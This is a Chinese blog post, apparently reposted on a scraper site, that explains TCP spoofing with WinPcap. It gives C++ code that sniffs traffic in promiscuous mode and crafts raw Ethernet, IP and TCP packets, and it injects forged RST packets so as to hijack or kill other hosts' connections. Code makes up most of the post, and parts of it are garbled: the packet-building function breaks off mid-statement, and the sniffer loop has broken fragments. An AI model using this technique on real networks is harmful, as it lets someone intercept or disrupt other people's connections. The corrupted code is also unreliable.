P欺诈,使用Winpcap对数据包进行拦截

您所在的位置:网站首页 如何拦截数据包的短信 P欺诈,使用Winpcap对数据包进行拦截

P欺诈,使用Winpcap对数据包进行拦截

2023-07-01 01:07| 来源: 网络整理| 查看: 265

  

上一篇讲到了对所有的网络数据包进行侦听,并过滤,得到自己想要分析的数据包。数据包被侦听到了,但仍旧发送给了远程的服务器,若我们希望截获这些数据包,但不希望把这些数据被发送给远程服务器,那该如何解决呢?防火墙!对,我也想到了使用防火墙。windows下的防火墙,大多使用NIDS(Network Driver Interface Specification)对中间层驱动(Intermediate drivers)进行操作。NIDS就是把IP包拦截在中间驱动层,使这些不能通过网卡发送。但是这样做的话,上一篇的模拟sniffer程序也侦听不到被NIDS所拦截的IP包。因此,防火墙行不通。

        使用网卡的混杂模式,通过伪造TCP握手信号,赶在本机与远程端握手连通之前,把本机的手牵到自己这里来,不是也可以实现吗?这正是我所要讲的重点。没错,我的实现思路也是这样的。sendto 函数只在windows server 2003 下支持,在windows XP系统下,为了保证网络安全,已经不再被支持。有网友说可以用Wsasend()可以替代sendto,为了节约时间,我没有尝试去用Wsasend()函数。

        使用Winpcap(windows packet capture)可以完成所需要的功能。winpcap独立于主机协议(如TCP-IP)而发送和接收原始数据包。Winpcap为数据包捕获提供了windows下的一个平台,它是由伯克利分组捕获库派生而来的分组捕获库,它是在Windows操作平台上来实现对底层包的截取过滤,它的体系结构是由一个核心的包过滤驱动程序,一个底层的动态连接库packet.dll和一个高层的独立于系统的函数库libpcap组成。

        调用winpcap函数的程序,需要安装winpcap程序,使之能与驱动挂上钩。还需要下载winpcap的头文件和相应的库文件。这样程序才能够跑得起来。

        首先先来介绍一下包头。除了上一篇介绍的IP头,TCP、UDP、ICMP头外,这里还有两个头:以太网地址包头和计算校验码的包头。

        typedef struct _ethhdr         {             unsigned char  eh_dst[6];             unsigned char  eh_src[6];             unsigned short eh_type;  

        }ETH_HEADER;

 

        typedef struct _psdhdr         {             unsigned long saddr;             unsigned long daddr;             char mbz;                           //保留,置0             char ptcl;                            //协议,如IPPROTO_TCP             unsigned short tcpl;            //TCP报头长度         }PSD_HEADER;

 

        写一个对数据进行处理的类。

       class CTod   {   public:     CTod(void);     ~CTod(void);

  public:     pcap*  m_pCap;    //PCAP句柄

  public:     int CTod::SendRaw(BYTE *_dmac,BYTE *_smac,                USHORT _ident,  

             ULONG _saddr,USHORT _sport,  

             ULONG _daddr,USHORT _dport,                                               ULONG _seq,  ULONG  _ack);               USHORT checksum(USHORT *buffer, int size);                BOOL OpenPcap(ULONG _laddr);                     //打开本地网口               static DWORD WINAPI WorkSniffer(LPVOID _lp);     //抓包线程         };

 

 

        CTod::CTod(void)         {}

        CTod::~CTod(void)         {}

        int CTod::SendRaw(BYTE *_dmac,BYTE *_smac,        //目的MAC,源MAC,网络顺序                           USHORT _ident,                  //IP包标识号                           ULONG _saddr,USHORT _sport,     //源IP,PORT,网络顺序                           ULONG _daddr,USHORT _dport,     //目的IP,PORT,网络顺序                           ULONG _seq,  ULONG  _ack)       //32位序列号,应答号,网络顺序         {             if(m_pCap==NULL){                 return -1;             }

            //构造以太网头             ETH_HEADER eth;             memcpy(eth.eh_dst,_dmac,6);             memcpy(eth.eh_src,_smac,6);             eth.eh_type=htons(ETH_IP);

            //构造IP头             IP_HEADER ip;             ip.h_verlen= 4                 bytes_out=len;             }

            return bytes_out;

        }

        //计算校验和         USHORT CTod::checksum(USHORT *buffer, int size)         {             unsigned long cksum=0;             while(size>1){                 cksum+=*buffer++;                 size-=sizeof(USHORT);             }             if(size) cksum+=*(UCHAR*)buffer;             cksum=(cksum>>16)+(cksum&0xffff);             cksum+=(cksum>>16);             return (USHORT)(~cksum);

        }

      

    未完,见下一篇。。。 

 

 接上一篇。。。

 

    //打开一个网卡     BOOL CTod::OpenPcap(ULONG _laddr)     {         pcap_if_t *alldevs;  //打开适配器时使用         pcap_if_t *d;         char errbuf[PCAP_ERRBUF_SIZE];

        if(pcap_findalldevs(&alldevs,errbuf)==-1){ //获取网卡的列表             return FALSE;         }

        BOOL bfind=FALSE;         for(d=alldevs; d; d=d->next){             for(pcap_addr_t *a=d->addresses; a; a=a->next){                 struct sockaddr_in *psin=(struct sockaddr_in*)a->addr;                 if( psin->sin_family==AF_INET ){                     if( psin->sin_addr.s_addr==_laddr ){                         bfind=TRUE;                         break;                     }                 }             }             if(bfind)                 break;         }

        if(!bfind){             pcap_freealldevs(alldevs);             return FALSE;

        }

        //打开选择的网卡         if((m_pCap=pcap_open_live(d->name,  // 设备名称                               65535,  // portion of the packet to capture                               1,   // 混杂模式                               100,  // 读超时为0.1秒                               errbuf  // error buffer                               ))==NULL)         {             fprintf(stderr,"Error in pcap_findalldevs: %s\n", errbuf);             pcap_freealldevs(alldevs);   //释放设备列表             return FALSE;         }

        pcap_setbuff(m_pCap,1024*1024);   //设置内核缓冲区,pcap默认是1M缓冲

        struct bpf_program fcode;    //指向BPF指令所在空间         char filter[4]="tcp";         ULONG netmask=0x00ffffff;         ULONG mask=*(ULONG*)&(((struct sockaddr_in*)d->addresses->netmask)->sin_addr);         netmask=mask;         pcap_compile(m_pCap, &fcode,filter,1,netmask); //编译 tcpdump 表达式为BPF程序         pcap_setfilter(m_pCap, &fcode);     //设置BPF内核过滤器         pcap_freecode(&fcode);       //释放指令空间

        pcap_freealldevs(alldevs);  //释放设备列表

        return TRUE;     }

 

    //抓包子线程     DWORD WINAPI CTod::WorkSniffer(LPVOID _lp)     {         CTod *ptod=(CTod*)_lp;         struct pcap_pkthdr *header;         u_char *pkt_data;         char szSourceIP[MAX_ADDR_LEN];         char szDestIP[MAX_ADDR_LEN];

        int ret=0;         while(TRUE)         {              //捕获数据包             ret=pcap_next_ex(ptod->m_pCap,                              &header, //内核过滤器每输出一个包,将在输出的数据前加了20字节的数据                              (const u_char**)&pkt_data);             if(retsaddr;            if( IsAlexaDes(szSourIP) ){            }            unsigned long szDestIP = pip->daddr;            if( !IsAlexaDes(szDestIP) ){   //目的IP都与Alexa无关                continue;            }            //除掉IP头和TCP头后的数据长度            int predatalen=ntohs(pip->total_len)-40;

 

           正向发RST包            //ptod->SendRaw(peth->eh_dst,peth->eh_src,                         // htons(ntohs(pip->ident)+1),                         // pip->saddr,ptcp->th_sport,                         // pip->daddr,ptcp->th_dport,                         // htonl( ntohl(ptcp->th_seq)+predatalen ),                         // ptcp->th_ack);

           //反向发RST包            ptod->SendRaw(peth->eh_src,peth->eh_dst,                          htons(0),                          pip->daddr,ptcp->th_dport,                          pip->saddr,ptcp->th_sport,                          ptcp->th_ack,                          htonl( ntohl(ptcp->th_seq)+1 ));         }

        return 0;     }

 

    程序是通过侦听到TCP连接的握手信号,然后对TCP包进行分析后,发送一个握手应答信号给连接的发起端。当连接的发起端接收到连接应答信号后,会再发送一个应答信号,此时,连接发起端认为TCP连接己经建立,就开始发送数据。再用上一篇讲的办法来侦听数据,即可得到所需的IP包。因此,通过这种IP欺诈的办法,可以骗得所需的TCP数据包。

http://blog.sina.com.cn/s/blog_613e4fea0100l5tj.html



【本文地址】


今日新闻


推荐新闻


CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3